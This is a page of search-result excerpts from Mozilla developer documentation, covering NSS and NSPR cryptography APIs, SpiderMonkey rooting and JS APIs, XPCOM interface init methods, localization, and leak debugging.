... generatensgetfactory() generates the nsgetfactory() function along with the factory definition.
Application Translation with Mercurial
mozilla-aurora.hg) from https://ftp.mozilla.org/pub/mozilla.org/firefox/bundles/ the file is not small, but after initially downloading it, you only need to download the latest changes in the future.
...so let's go to c:\mozilla by typing cd /c/mozilla/ create a new directory for the source code: mkdir mozilla-aurora initialize the new directory as new repository: hg init mozilla-aurora go into the new directory: cd mozilla-aurora unpack the source code: hg unbundle /path/to/the/downloaded/mozilla-aurora.hg this can take some time, mostly depending on the performance of the hard drive.
... go back to the localization directory: cd /c/mozilla/de-mozilla-aurora initiate mercurial queues: hg qinit get to know the translation style for having good chances that the translation suggestions get accepted, they should match the translation style of the texts in the application already translated.
QA phase
note: remember all of those pre-requisite tools we asked you to install in the initial setup?
...that step is back on the initial setup page.
...you might have created it yourself by running hg init or hg clone or you might have had it created by koala when you were setting up a new localization project.
Investigating leaks using DMD heap scan mode
secondly, you may need to comment out the call to moz_crash("nss_shutdown failed"); in xpcom/build/xpcominit.cpp, as this also seems to trigger when shutdown is extremely slow.
... definitions i'll write $objdir for the object directory for your firefox dmd build, $srcdir for the top level of the firefox source directory, and $heapgraph for the location of the heapgraph repo, and $logdir for the location you want logs to go to.
...unfortunately, in this particular case, the unoptimized build was so slow i wasn’t getting any logs.) i then looked through the list of leaked objects generated by xpcom_mem_bloat_log and saw that we were leaking a scriptloadrequest, so i went and looked at its class definition, where i noticed that scriptloadrequest had a strong reference to an element that it wasn’t telling the cycle collector about, which seemed suspicious.
NSPR Types
pr_implement is used for definitions of external functions or variables.
... pr_callback is used for definitions and declarations of functions that are called via function pointers.
... here are some simple examples of the use of these types: in dowhim.h: pr_extern( void ) dowhatimean( void ); static void pr_callback rootfunction(void *arg); in dowhim.c: pr_implement( void ) dowhatimean( void ) { return; }; prthread *thread = pr_createthread(..., rootfunction, ...); algebraic types nspr provides the following type definitions with unambiguous bit widths for algebraic operations: 8-, 16-, and 32-bit integer types 64-bit integer types floating-point number type for convenience, nspr also provides type definitions with platform-dependent bit widths: native os integer types 8-, 16-, and 32-bit integer types signed integers print8 print16 print32 unsigned integers pruint8 pruint16 pruint32 64...
Cryptography functions
the mozilla cross reference (mxr) link for each function provides access to the function definition, prototype definition, and source code references.
...r pk11_importencryptedprivatekeyinfo mxr 3.2 and later pk11_importprivatekeyinfo mxr 3.2 and later pk11_importprivatekeyinfoandreturnkey mxr 3.4 and later pk11_importpublickey mxr 3.4 and later pk11_importsymkeywithflags mxr 3.4 and later pk11_initpin mxr 3.2 and later pk11_isfips mxr 3.2 and later pk11_isdisabled mxr 3.4 and later pk11_isfriendly mxr 3.2 and later pk11_ishw mxr 3.2 and later pk11_isinternal mxr 3.2 and later pk11_ispresent mxr 3.2 and later ...
...ocryptomechanism mxr 3.2 and later pk11_mapsignkeytype mxr 3.11 and later pk11_mechanismtoalgtag mxr 3.4 and later pk11_mergetokens mxr 3.12 and later pk11_movesymkey mxr 3.9 and later pk11_needlogin mxr 3.2 and later pk11_needuserinit mxr 3.2 and later pk11_paramfromiv mxr 3.2 and later pk11_paramfromalgid mxr 3.2 and later pk11_paramtoalgid mxr 3.2 and later pk11_pbekeygen mxr 3.2 and later pk11_privdecryptpkcs1 mxr 3.9.3 and later pk11_protectedauthenticationp...
HTTP delegation
once nss is finished providing all details, it will request to initiate the actual network communication (sec_httprequest_trysendandreceivefcn).
...now that we have explained the interaction between nss, the callback functions and the application, let's look at the steps required by the application to initially register the callbacks.
... make sure you have completed the nss initialization before you attempt to register the callbacks.
HTTP delegation
once nss is finished providing all details, it will request to initiate the actual network communication (sec_httprequest_trysendandreceivefcn).
...now that we have explained the interaction between nss, the callback functions and the application, let's look at the steps required by the application to initially register the callbacks.
... make sure you have completed the nss initialization before you attempt to register the callbacks.
4.3 Release Notes
release date: 01 april 2009 introduction network security services for java (jss) 4.3 is a minor release with the following new features: sqlite-based shareable certificate and key databases libpkix: an rfc 3280 compliant certificate path validation library pkcs11 needslogin method support hmacsha256, hmacsha384, and hmacsha512 support for all nss 3.12 initialization options jss 4.3 is tri-licensed under mpl 1.1/gpl 2.0/lgpl 2.1.
... new sqlite-based shareable certificate and key databases by prepending the string "sql:" to the directory path passed to configdir parameter for crypomanager.initialize method or using the nss environment variable nss_default_db_type.
... libpkix: an rfc 3280 compliant certificate path validation library (see pkixverify) pk11token.needslogin method (see needslogin) support hmacsha256, hmacsha384, and hmacsha512 (see hmactest.java) support for all nss 3.12 initialization options (see initializationvalues) new ssl error codes (see http://mxr.mozilla.org/security/sour...util/sslerrs.h) ssl_error_unsupported_extension_alert ssl_error_certificate_unobtainable_alert ssl_error_unrecognized_name_alert ssl_error_bad_cert_status_response_alert ssl_error_bad_cert_hash_value_alert new tls cipher suites (see http://mxr.mozilla.org/security/sour...sslsocket.java): tls_rsa_with_camellia_128_cbc_sha tls_dhe_dss_with_camellia_128_cbc_sha tls_dhe_rsa_with_camellia_128_cbc_sha tls_rsa_with_camel...
NSS 3.12.4 release notes
the two range-definition characters must be alphanumeric ascii.
...492131: a failure to import a cert from a p12 file leaves error code set to zero bug 492385: crash freeing named crl entry on shutdown bug 493135: bltest crashes if it can't open the input file bug 493364: can't build with --disable-dbm option when not cross-compiling bug 493693: sse2 instructions for bignum are not implemented on os/2 bug 493912: sqlite3_reset should be invoked in sdb_findobjectsinit when error occurs bug 494073: update rsa/dsa powerupself tests to be compliant for 2011 bug 494087: passing null as the value of cert_pi_trustanchors causes a crash in cert_pkixsetparam bug 494107: during nss_nodb_init(), softoken tries but fails to load libsqlite3.so crash [@ @0x0 ] bug 495097: sdb_mapsqlerror returns signed int bug 495103: nss_initreadwrite(sql:<dbdir>) causes nss to look for s...
...ql:<dbdir>/libnssckbi.so bug 495365: add const to the 'nickname' parameter of sec_certnicknameconflict bug 495656: nss_initreadwrite(sql:<configdir>) leaves behind a pkcs11.txu file if libnssckbi.so is in <configdir>.
NSS 3.46 release notes
script does not set error exit code for tests that "failed with core" bug 1566601 - add wycheproof test vectors for aes-kw bug 1571316 - curve25519_32.c:280: undefined reference to `pr_assert' when building nss 3.45 on armhf-linux bug 1516593 - client to generate new random during renegotiation bug 1563258 - fips.sh fails due to non-existent "resp" directories bug 1561598 - remove -wmaybe-uninitialized warning in pqg.c bug 1560806 - increase softoken password max size to 500 characters bug 1568776 - output paths relative to repository in nss coverity bug 1453408 - modutil -changepw fails in fips mode if password is an empty string bug 1564727 - use a pss spki when possible for delegated credentials bug 1493916 - fix ppc64 inline assembler for clang bug 1561588 - remove -wmaybe-unin...
...itialized warning in p7env.c bug 1561548 - remove -wmaybe-uninitialized warning in pkix_pl_ldapdefaultclient.c bug 1512605 - incorrect alert description after unencrypted finished msg bug 1564715 - read /proc/cpuinfo when at_hwcap2 returns 0 bug 1532194 - remove or fix -ddebug_$user from make builds bug 1565577 - visual studio's cl.exe -?
... hangs on windows x64 when building nss since changeset 9162c654d06915f0f15948fbf67d4103a229226f bug 1564875 - improve rebuilding with build.sh bug 1565243 - support tc_owner without email address in nss taskgraph bug 1563778 - increase maxruntime on mac taskcluster tools, ssl tests bug 1561591 - remove -wmaybe-uninitialized warning in tstclnt.c bug 1561587 - remove -wmaybe-uninitialized warning in lgattr.c bug 1561558 - remove -wmaybe-uninitialized warning in httpserv.c bug 1561556 - remove -wmaybe-uninitialized warning in tls13esni.c bug 1561332 - ec.c:28 warning: comparison of integers of different signs: 'int' and 'unsigned long' bug 1564714 - print certutil commands during setup bug 1565013 - hacl image builder times out while fetching gpg key bug 1563786 - update hacl-star doc...
NSS Sample Code sample6
* in a real app, this function should obtain the password using secure means * such as prompting an operator, or retrieving it over a secure communication * channel */ char *passwdcb(pk11slotinfo *info, prbool retry, void *arg); int main(int argc, char **argv) { secstatus rv; /* initialize nss */ pk11_setpasswordfunc(passwdcb); /* the nss db must be initialized read-write since we'll be creating * keys in it.
... once keys are generated, it can be opened without read-write * subsequently (nss_init).
... */ rv = nss_initreadwrite("."); if (rv != secsuccess) { fprintf(stderr, "nss initialization failed (err %d)\n", pr_geterror()); exit(1); } /* generate a key with id 1.
nss tech note2
to enable this mode, set: nspr_log_modules=nss_mod_log:1 nspr_log_file=<logfile> the output format is: osthreadid[nsprthreadid]: c_xxx osthreadid[nsprthreadid]: rv = 0xyyyyyyyy for example, 1024[805ef10]: c_initialize 1024[805ef10]: rv = 0x0 1024[805ef10]: c_getinfo 1024[805ef10]: rv = 0x0 1024[805ef10]: c_getslotlist 1024[805ef10]: rv = 0x0 2.
...osthreadid[nsprthreadid]: argn = 0xaaaaaaaa osthreadid[nsprthreadid]: rv = 0xyyyyyyyy for example, 1024[805ef10]: c_initialize 1024[805ef10]: pinitargs = 0x4010c938 1024[805ef10]: rv = 0x0 1024[805ef10]: c_getinfo 1024[805ef10]: pinfo = 0xbffff340 1024[805ef10]: rv = 0x0 1024[805ef10]: c_getslotlist 1024[805ef10]: tokenpresent = 0x0 1024[805ef10]: pslotlist = 0x0 1024[805ef10]: pulcount = 0xbffff33c 1024[805ef10]: *pulcount = 0x2 1024[805ef10]: rv = 0x0 note that when a pkcs #11 function takes a pointer argument f...
...for example, 1024[805ef10]: c_findobjectsinit 1024[805ef10]: hsession = 0x1000001 1024[805ef10]: ptemplate = 0xbffff410 1024[805ef10]: ulcount = 3 1024[805ef10]: cka_label = localhost.nyc.rr.com [20] 1024[805ef10]: cka_token = ck_true [1] 1024[805ef10]: cka_class = cko_certificate [4] 1024[805ef10]: rv = 0x0 1024[805ef10]: c_findobjects 1024[805ef10]: hsession = 0x1000001 1024[805ef10]: phobject = 0x806d810 1024[805ef10]: ulmaxobjectcount = 16 1024[...
nss tech note7
here is the asn.1 type definition: rsapublickey ::= sequence { modulus integer, -- n publicexponent integer -- e } the following sample code (error handling omitted for brevity) encodes a rsapublickey from a modulus and a public exponent and imports the public key into nss.
... answer: the version without the initial 00 says : "ps is a string of strong pseudo-random octets [random] [...] long enough that the value of the quantity being crypted is one octet shorter than the rsa modulus" the version with the initial 00 instead says to pad to the same length as the rsa modulus.
... "the same length as the rsa modulus with an initial octet of 0" and "one octet shorter without that initial octet" are exactly the same thing because the formatted block is treated as a big-endian big integer by the rsa algorithm.
FC_Finalize
if the library is not initialized, it does nothing.
...fc_finalize should return ckr_cryptoki_not_initialized if the library is not initialized.
... /* invoke fc_finalize as pfunctionlist->c_finalize */ crv = pfunctionlist->c_finalize(null); see also fc_initialize, nsc_initialize, nsc_finalize ...
NSS Key Functions
seckey_getdefaultkeydb seckey_destroyprivatekey seckey_getdefaultkeydb returns a handle to the default key database opened by nss_init.
...description nss_init opens the certificate, key, and security module databases that you specify for use with nss.
... seckeykeydbhandle returns a handle to the key database opened by nss_init.
NSS reference
initial notes we are migrating the ssl reference into the format described in the mdn style guide.
... nss initialization and shutdown nss_init nss_initreadwrite nss_nodb_init nss_initialize nss_shutdown utility functions based on "utility functions" in nss public functions.
...createunencryptedsafe sec_pkcs12addcertandkey sec_pkcs12addpasswordintegrity sec_pkcs12enablecipher sec_pkcs12encode sec_pkcs12destroyexportcontext sec_pkcs12decoderstart sec_pkcs12decoderimportbags sec_pkcs12decoderupdate sec_pkcs12decoderfinish sec_pkcs12decodervalidatebags sec_pkcs12decoderverify sec_pkcs12decodergetcerts sec_pkcs12decodersettargettokencas sec_pkcs12decoderiterateinit sec_pkcs12decoderiteratenext sec_pkcs12isencryptionallowed sec_pkcs12setpreferredcipher nspr functions a small number of nspr functions are required for using the certificate verification and ssl functions in nss.
OLD SSL Reference
initialization initializing caches configuration communication functions used by callbacks cleanup chapter 2 getting started with ssl this chapter describes how to set up your environment, including certificate and key databases, to run the nss sample code.
... ssl initialization functions nss_init nss_initreadwrite nss_nodb_init ssl_optionsetdefault ssl_optiongetdefault ssl_cipherprefsetdefault ssl_cipherprefgetdefault ssl_clearsessioncache ssl_configserversessionidcache ...
... initializing multi-processing with a shared ssl server cache ssl_configmpserversidcache ssl_inheritmpserversidcache ssl export policy functions nss_setdomesticpolicy nss_setexportpolicy nss_setfrancepolicy ssl_cipherpolicyset ssl_cipherpolicyget ssl configuration functions ssl configuration ssl_importfd ssl_optionset ssl_optionget ssl_cipherprefset ssl_cipherprefget ssl_configsecureserver ssl_seturl ...
sslkey.html
seckey_getdefaultkeydb seckey_destroyprivatekey seckey_getdefaultkeydb returns a handle to the default key database opened by nss_init.
... description nss_init opens the certificate, key, and security module databases that you specify for use with nss.
... seckeykeydbhandle returns a handle to the key database opened by nss_init.
Utility functions
the public functions listed here perform initialization tasks and other services.
...the mozilla cross reference (mxr) link for each function provides access to the function definition, prototype definition, and source code references.
...r hash_gettype mxr 3.12 and later hash_hashbuf mxr 3.10 and later hash_resultlen mxr 3.4 and later hash_resultlenbyoidtag mxr 3.10 and later hash_resultlencontext mxr 3.10 and later hash_update mxr 3.4 and later nss_init mxr 3.2 and later nss_initialize mxr 3.2 and later nss_initreadwrite mxr 3.2 and later nss_initwithmerge mxr 3.12 and later nss_isinitialized mxr 3.9.2 and later nss_nodb_init mxr 3.2 and later nss_putenv mxr 3.2 and la...
Necko Architecture
although the protocol handler creates channels, protocol interpretation doesn't begin until the user initiates the transaction using the nsichannel api.
...if you initiate a synchronous transfer on a channel, you are handed back a stream that you can read or write from or to.
... if you initiate an asynchronous transfer, you receive callbacks that notify you when things are happening.
Necko walkthrough
tes nshttpconnectioninfo object for the channel checks if we're proxying or not fires off the dns prefetch request (dispatched to dns thread pool) some other things nshttpchannel::connect might to a speculativeconnect (pre open tcp socket) nshttpchannel::continueconnect some cache stuff nshttpchannel::setuptransaction creates new nshttptransaction, and inits it with mrequesthead (the request headers) and muploadstream (which was created from the request data in channel setup) gets an nsiasyncinputstream (for the response; corresponds to the nspipeinputstream for the response stream pipe) passes it to nsinputstreampump nshttpchannel::ghttphandler->initiatetransaction (called from connect) this is the global nshttphandler object, whi...
...the event queue works around to nshttpconnectionmgr::onmsgnewtransaction (with the nshttptransaction passed as a param - remember the event was posted earlier by initiatetransaction from the main thread).
... remember that nspipeinputstream::asyncwait was called earlier, after the transaction was initially created and posted to the connection manager on the socket thread.
GC Rooting Guide
js::rooted must be constructed with a jscontext*, and optionally an initial value.
... these do not need to be wrapped in any of rooting classes, but they should be immediately used to initialize a js::rooted<t> if there is any code that could gc before the end of the containing function; a raw pointer must never be stored on the stack during a gc.
... js::heap<t> doesn't require a jscontext*, and can be constructed with or without an initial value parameter.
Exact Stack Rooting
instead, spidermonkey has a convenient suite of c++ raii classes to do this for you, called js::rootedt: rootedstring str1(cx, js_valuetostring(cx, val)); rootedstring str2(rt, js_valuetostring(cx, val)); note 1: c++ insists that an initializing assignment (e.g., the default constructor followed by operator=) must have a copy constructor available, even if it is not used.
...therefore, we are forced to force you to initialize with constructor syntax.
... definitions gc - acronym for garbage collection: specifically spidermonkey's method of automatically managing javascript program memory.
Tracing JIT
a fragment initially holds no pages.
...the transitions between these states are somewhat complex and delicate, but the overall picture is simple: monitoring the trace monitor's initial state is monitoring.
... if the recorder completes recording at a backward branch back to the initial pc value that triggered recording mode, it is said to have successfully closed the loop.
JSExtendedClass
a c/c++ program can use a jsextendedclass with the js_initclass and js_newobject apis to create objects that have custom methods and properties implemented in c/c++.
...jsclass and jsextendedclass structs should usually be global, and in this case the compiler automatically initializes these fields to null.
... pass &myextendedclass.base to functions like js_initclass or js_newobject that require a jsclass *.
JSFunctionSpec
an application typically has an array of jsfunctionspec to define all the functions for an object and calls js_definefunctions or js_initclass to create the functions and assign them to an object.
...to define an array element, cast the element's index value to const char*, initialize the name field with it, and specify the jsprop_index attribute in flags.
...see also mxr id search for jsfunctionspec jspropertyspec jsnative js_fs js_fn js_sym_fn js_fninfo js_self_hosted_fn js_self_hosted_sym_fn js_sym_fnspec js_fnspec js_fs_end property attributes js_definefunctions js_initclass ...
JSNewEnumerateOp
(spidermonkey, noting the jsclass_new_enumerate flag, will cast that function pointer back to type jsnewenumerateop before calling it.) the behavior depends on the value of enum_op: jsenumerate_init a new, opaque iterator state should be allocated and stored in *statep.
... jsenumerate_init_all used identically to jsenumerate_init, but exposes all properties of the object regardless of enumerability.
... jsenumerate_destroy destroy the opaque iterator state previously allocated in *statep by a call to this function when enum_op was jsenumerate_init or jsenumerate_init_all.
JS_DefineProperty
value js::handlevalue or js::handleobject or js::handlestring or int32_t or uint32_t or double initial stored value for the new property.
... js_defineproperty is the fundamental operation on which several more convenient, higher-level functions are based, including js_definefunction, js_definefunctions, js_defineproperties, js_defineconstdoubles, js_defineobject, and js_initclass.
... the parameters specify the new property's name, initial stored value, getter, setter, and property attributes (attrs).
JS_ExecuteScript
in ecmascript terms, the script is executed in a new execution context, but that context is not initialized quite as described in any of the three cases in ecma 262-3 §10.2.
... instead: the scope chain is initialized to contain obj, followed by its parent, then its parent's parent, etc.
... variable initialization is performed.
JS_ExecuteScriptVersion
in ecmascript terms, the script is executed in a new execution context, but that context is not initialized quite as described in any of the three cases in ecma 262-3 §10.2.
... instead: the scope chain is initialized to contain obj, followed by its parent, then its parent's parent, etc.
... variable initialization is performed.
JS_FS
macros for describing functions, for use with js_defineproperties and js_initclass.
... description use these macros to define an array of jsfunctionspecs to pass to js_definefunctions or js_initclass.
...see also mxr id search for js_fs mxr id search for js_fn mxr id search for js_sym_fn mxr id search for js_fninfo mxr id search for js_self_hosted_fn mxr id search for js_self_hosted_sym_fn mxr id search for js_sym_fnspec mxr id search for js_fnspec mxr id search for js_fs_end jsfunctionspec js_defineproperties js_initclass bug 775788 - added js_fninfo.
JS_PSGS
this article covers features introduced in spidermonkey 17 macros for describing properties, for use with js_defineproperties and js_initclass.
... description these macros encapsulate the definition of jsnative-backed jspropertyspecs, by defining the jsnativewrappers for them.
... see also mxr id search for js_psg mxr id search for js_psgs mxr id search for js_self_hosted_get mxr id search for js_self_hosted_getset jspropertyspec js_defineproperties js_initclass bug 684526 - added.
JS_SetArrayLength
you can call js_setarraylength either to set the number of elements for an array object you created without specifying an initial number of elements, or to change the number of elements allocated for an array.
...setting the number of array elements does not initialize those elements.
... to initialize an element call js_defineelement.
Property attributes
mxr id search for jsprop_index jsprop_define_late don't define property when initially creating the constructor.
... some objects like function/object have self-hosted functions that can only be defined after the initialization is already finished.
...it tells the engine to skip the resolve hook when performing the lookup at the beginning of property definition.
Handling Mozilla Security Bugs
the security module owner and peers will also work with mozilla.org to populate the initial security bug group.
... we expect that the mozilla security bug group will initially be significantly larger than the core group of module owners and peers, and that it may grow further over time.
...thus, for example, if a particular security vulnerability is reported initially and then is independently reported again by someone else, each bug reporter retains control over whether to publicly disclose their own bug, but their decision will not affect disclosure for the bug reported by the other person.
imgIContainer
nsiframe getrootlayoutframe(); violates the xpcom interface guidelines pruint16 gettype(); violates the xpcom interface guidelines void init(in print32 awidth, in print32 aheight, in imgicontainerobserver aobserver); obsolete since gecko 2.0 void lockimage(); void removeframe(in gfxiimageframe item); obsolete since gecko 1.9.2 void requestdecode(); void requestdiscard(); void requestrefresh([const] in timestamp atime); violates the xpcom interface guidelines void resetanimation...
...return value missing description exceptions thrown missing exception missing description init() obsolete since gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) create a new \a awidth x \a aheight sized image container.
... void init( in print32 awidth, in print32 aheight, in imgicontainerobserver aobserver ); parameters awidth the width of the container in which all the frames will fit.
imgIDecoder
method overview void close(); void flush(); void init(in imgiload aload); unsigned long writefrom(in nsiinputstream instr, in unsigned long count); methods close() closes the stream.
...init() initializes an image decoder.
... void init( in imgiload aload ); parameters aload an imgiload object to receive the decoded image data.
imgILoader
inherits from: nsisupports last changed in gecko 8.0 (firefox 8.0 / thunderbird 8.0 / seamonkey 2.5) implemented by @mozilla.org/image/loader;1 as a service: var imgiloader = components.classes["@mozilla.org/image/loader;1"] .getservice(components.interfaces.imgiloader); method overview imgirequest loadimage(in nsiuri auri, in nsiuri ainitialdocumenturl, in nsiuri areferreruri, in nsiprincipal aloadingprincipal, in nsiloadgroup aloadgroup, in imgidecoderobserver aobserver, in nsisupports acx, in nsloadflags aloadflags, in nsisupports cachekey, in imgirequest arequest, in nsichannelpolicy channelpolicy); imgirequest loadimagewithchannel(in nsichannel achannel, in imgidecoderobserver aobserver, in nsisupports cx, out nsistreamliste...
...imgirequest loadimage( in nsiuri auri, in nsiuri ainitialdocumenturl, in nsiuri areferreruri, in nsiprincipal aloadingprincipal, in nsiloadgroup aloadgroup, in imgidecoderobserver aobserver, in nsisupports acx, in nsloadflags aloadflags, in nsisupports cachekey, in imgirequest arequest, in nsichannelpolicy channelpolicy ); parameters auri the uri to load.
... ainitialdocumenturl areferreruri the 'referring' uri.
mozIStorageStatementWrapper
last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) inherits from: nsisupports method overview void initialize(in mozistoragestatement astatement); void reset(); boolean step(); void execute(); attributes attribute type description statement mozistoragestatement the statement that is wrapped.
... methods initialize() this method initializes this wrapper with astatement.
... void initialize( in mozistoragestatement astatement ); parameters astatement the statement to be initialized.
nsIApplicationCache
method overview void activate(); void addnamespaces(in nsiarray namespaces); void discard(); void gatherentries(in pruint32 typebits, out unsigned long count, [array, size_is(count)] out string keys); nsiapplicationcachenamespace getmatchingnamespace(in acstring key); unsigned long gettypes(in acstring key); void initashandle(in acstring groupid, in acstring clientid); void markentry(in acstring key, in unsigned long typebits); void unmarkentry(in acstring key, in unsigned long typebits); attributes attribute type description active boolean true if the cache is the active cache for this group, otherwise false.
...initashandle() init this application cache instance to just hold the group id and the client id to work just as a handle to the real cache.
...void initashandle( in acstring groupid, in acstring clientid ); parameters groupid missing description clientid missing description markentry() adds item types to a given entry.
nsIApplicationCacheNamespace
method overview void init(in unsigned long itemtype, in acstring namespacespec, in acstring data); attributes attribute type description data acstring data associated with the namespace, such as a fallback.
... methods init() initializes the namespace.
... void init( in unsigned long itemtype, in acstring namespacespec, in acstring data ); parameters itemtype the namespace type.
nsIAsyncStreamCopier
inherits from: nsirequest last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) method overview void asynccopy(in nsirequestobserver aobserver, in nsisupports aobservercontext); void init(in nsiinputstream asource, in nsioutputstream asink, in nsieventtarget atarget, in boolean asourcebuffered, in boolean asinkbuffered, in unsigned long achunksize, in boolean aclosesource, in boolean aclosesink); methods asynccopy() starts the copy operation.
... init() initializes the stream copier.
...void init( in nsiinputstream asource, in nsioutputstream asink, in nsieventtarget atarget, in boolean asourcebuffered, in boolean asinkbuffered, in unsigned long achunksize, in boolean aclosesource, in boolean aclosesink ); parameters asource contains the data to be copied.
nsIAuthModule
inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) method overview void getnexttoken([const] in voidptr aintoken, in unsigned long aintokenlength, out voidptr aouttoken, out unsigned long aouttokenlength); void init(in string aservicename, in unsigned long aserviceflags, in wstring adomain, in wstring ausername, in wstring apassword); void unwrap([const] in voidptr aintoken, in unsigned long aintokenlength, out voidptr aouttoken, out unsigned long aouttokenlength); void wrap([const] in voidptr aintoken, in unsigned long aintokenlength, in boolean confidential, out voidptr aouttoken, out unsigned long ao...
... init() this method is called to initialize an auth module.
...void init( in string aservicename, in unsigned long aserviceflags, in wstring adomain, in wstring ausername, in wstring apassword ); parameters aservicename the service name, which may be null if not applicable (for example, for ntlm, this parameter should be null).
nsICacheService
method overview nsicachesession createsession(in string clientid, in nscachestoragepolicy storagepolicy, in boolean streambased); acstring createtemporaryclientid(in nscachestoragepolicy storagepolicy); obsolete since gecko 1.9.2 void evictentries(in nscachestoragepolicy storagepolicy); void init(); obsolete since gecko 1.8 void shutdown(); obsolete since gecko 1.8 void visitentries(in nsicachevisitor visitor); attributes attribute type description cacheiotarget nsieventtarget the event target for cache i/o operation notifications.
... init() obsolete since gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) initialize the cache service.
... void init(); parameters none.
nsICommandLine
definitions arguments any values found on the command line.
... constants state constants constant value description state_initial_launch 0 the first launch of the application instance.
...do not include the initial hyphen.
nsIContentViewer
[noscript,notxpcom] nsidocumentptr getdocument(); void hide(); void init(in nsiwidgetptr aparentwidget, [const] in nsintrectref abounds); native code only!
...native code only!init initializes the content viewer.
... void init( in nsiwidgetptr aparentwidget, [const] in nsintrectref abounds ); parameters aparentwidget missing description abounds missing description loadcomplete() void loadcomplete( in unsigned long astatus ); parameters astatus missing description exceptions thrown missing exception missing description loadstart() void loadstart( in nsisupports adoc ); parameters adoc missing description exceptions thrown missing exception missing description move() void move( in long ax, in long ay ); parameters ax missing description ay missing description open() attaches the content viewer to its dom window and docshell.
nsIConverterInputStream
to create an instance, use: var converterinputstream = components.classes["@mozilla.org/intl/converter-input-stream;1"] .createinstance(components.interfaces.nsiconverterinputstream); method overview void init(in nsiinputstream astream, in string acharset, in long abuffersize, in prunichar areplacementchar); constants constant value description default_replacement_character 0xfffd default replacement character value.
... methods init() initialize this stream.
... void init( in nsiinputstream astream, in string acharset, in long abuffersize, in prunichar areplacementchar ); parameters astream the source stream which is read and converted.
nsIDNSService
method overview nsicancelable asyncresolve(in autf8string ahostname, in unsigned long aflags, in nsidnslistener alistener, in nsieventtarget alistenertarget); void init(); obsolete since gecko 1.8 nsidnsrecord resolve(in autf8string ahostname, in unsigned long aflags); void shutdown(); obsolete since gecko 1.8 attributes attribute type description myhostname autf8string read only.
... init() obsolete since gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) called to initialize the dns service.
... void init(); parameters none.
nsIDOMMouseScrollEvent
method overview void initmousescrollevent(in domstring typearg, in boolean canbubblearg, in boolean cancelablearg, in nsidomabstractview viewarg, in long detailarg, in long screenxarg, in long screenyarg, in long clientxarg, in long clientyarg, in boolean ctrlkeyarg, in boolean altkeyarg, in boolean shiftkeyarg, in boolean metakeyarg, in unsigned short buttonarg, in nsidomeventtarget relatedtargetarg, in long axis); ...
... methods initmousescrollevent() initializes the progress event object.
... void initmousescrollevent( in domstring typearg, in boolean canbubblearg, in boolean cancelablearg, in nsidomabstractview viewarg, in long detailarg, in long screenxarg, in long screenyarg, in long clientxarg, in long clientyarg, in boolean ctrlkeyarg, in boolean altkeyarg, in boolean shiftkeyarg, in boolean metakeyarg, in unsigned short buttonarg, in nsidomeventtarget relatedtargetarg, in long axis ); parameters typearg the type of event.
nsIDOMMozTouchEvent
last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) inherits from: nsidommouseevent method overview void initmoztouchevent(in domstring typearg, in boolean canbubblearg, in boolean cancelablearg, in nsidomabstractview viewarg, in long detailarg, in long screenxarg, in long screenyarg, in long clientxarg, in long clientyarg,...
... methods initmoztouchevent() initializes the touch event.
... void initsimplegestureevent( in domstring typearg, in boolean canbubblearg, in boolean cancelablearg, in nsidomabstractview viewarg, in long detailarg, in long screenxarg, in long screenyarg, in long clientxarg, in long clientyarg, in boolean ctrlkeyarg, in boolean altkeyarg, in boolean shiftkeyarg, in boolean metakeyarg, in unsigned short buttonarg, in nsidomeventtarget relatedtargetarg, in unsigned long streamidarg ); parameters streamidarg the value to assign to the streamid attribute; this uniquely identifies the finger generating the touch events.
nsIDOMOrientationEvent
last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) inherits from: nsidomevent method overview void initorientationevent(in domstring eventtypearg, in boolean canbubblearg, in boolean cancelablearg, in double x, in double y, in double z); attributes attribute type description x double the amount of tilt along the x axis.
...methods initorientationevent() initializes the orientation event object.
... void initprogressevent( in domstring eventtypearg, in boolean canbubblearg, in boolean cancelablearg, in double x, in double y, in double z ); parameters eventtypearg the type of event.
nsIDOMStorageEventObsolete
method overview void initstorageevent(in domstring typearg, in boolean canbubblearg, in boolean cancelablearg, in domstring keyarg, in domstring oldvaluearg, in domstring newvaluearg, in domstring urlarg, in nsidomstorage storageareaarg); attributes attribute type description domain domstring the domain of the storage area which changed, or "#session" if the event represents a change ...
... methods initstorageevent() initializes a storage event.
... void initstorageevent( in domstring typearg, in boolean canbubblearg, in boolean cancelablearg, in domstring domainarg ); parameters typearg the type argument.
nsIEditor
66 introduced gecko 1.0 inherits from: nsisupports last changed in gecko 18.0 (firefox 18.0 / thunderbird 18.0 / seamonkey 2.15) method overview [noscript] void init(in nsidomdocument doc, in nsicontent aroot, in nsiselectioncontroller aselcon, in unsigned long aflags); void setattributeorequivalent(in nsidomelement element, in astring sourceattrname, in astring sourceattrvalue, in boolean asuppresstransaction); void removeattributeorequivalent(in nsidomelement element, in domstring sourceattrname, in boolean asuppresstransaction); void postcreate(); void predestroy(in boolean adestroyingframes);...
... methods native code only!init initializes the editor's services.
... [noscript] void init( in nsidomdocument doc, in nsipresshellptr shell, obsolete since gecko 5 in nsicontent aroot, in nsiselectioncontroller aselcon, in unsigned long aflags ); parameters doc the document to observe.
nsIFileOutputStream
inherits from: nsioutputstream last changed in gecko 1.7 method overview void init(in nsifile file, in long ioflags, in long perm, in long behaviorflags); constants behavior flag constants constant value description defer_open 1<<0 see the same constant in nsifileinputstream.
... note: using this flag results in the file not being opened during the call to init().
... methods init() void init( in nsifile file, in long ioflags, in long perm, in long behaviorflags ); parameters file file to write to (must qi to nsilocalfile) ioflags file open flags listed are listed in the pr_open() documentation.
nsILocaleService
.getservice(components.interfaces.nsilocaleservice); method overview nsilocale getapplicationlocale(); astring getlocalecomponentforuseragent(); nsilocale getlocalefromacceptlanguage(in string acceptlanguage); nsilocale getsystemlocale(); nsilocale newlocale(in astring alocale); nsilocale newlocaleobject(in nsilocaledefinition localedefinition); obsolete since gecko 1.9 methods getapplicationlocale() gets the user preference for locale from the operating system.
